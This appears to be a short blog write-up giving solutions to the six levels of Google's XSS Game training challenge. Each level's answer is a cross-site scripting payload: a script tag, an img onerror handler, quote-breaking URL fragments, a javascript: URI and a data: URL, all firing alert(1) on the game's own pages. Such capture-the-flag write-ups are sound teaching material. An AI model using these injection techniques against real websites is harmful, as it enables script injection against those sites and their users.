Google XSS Game Solutions — Writeups

Cyber Goddess
1 min readJan 10, 2023

--

These are my steps how I’ve solved the XSS Game

Level 1
This is the most obvious and easiest one. Just insert following code and you’re done:

<script>alert(1)</script>

Level 2
Since the script won’t work you’ll have to think of another tags to trigger JavaScript code execution. The first thing which came in mind was to use img tags along with the onerror attributes. Here you go:

<img src=”demo.jpg” onerror=”javascript:alert(1)”/>

Level 3
Insert this into the URL address bar and you’ll get your alert():

https://xss-game.appspot.com/level3/frame#4' onerror=’alert(1)’;

Level 4
Insert this into the URL address bar and you’ll get your alert():

https://xss-game.appspot.com/level4/frame?timer=')%3Balert(1)%3Bvar b=(‘

Level 5
Go to https://xss-game.appspot.com/level5/frame/signup?next=javascript:alert(1)
Insert your Mail
Click Next >>

Level 6
Insert this into the URL address bar and you’ll get your alert():
https://xss-game.appspot.com/level6/frame#data:text/javascript,alert()

and congratulations, you have finished this challenge successfully.

Follow me on Instagram

Sign up to discover human stories that deepen your understanding of the world.

Free

Distraction-free reading. No ads.

Organize your knowledge with lists and highlights.

Tell your story. Find your audience.

Membership

Read member-only stories

Support writers you read most

Earn money for your writing

Listen to audio narrations

Read offline with the Medium app

--

--

Cyber Goddess
Cyber Goddess

Written by Cyber Goddess

Cyber Security Researcher | Vlogger

No responses yet

Write a response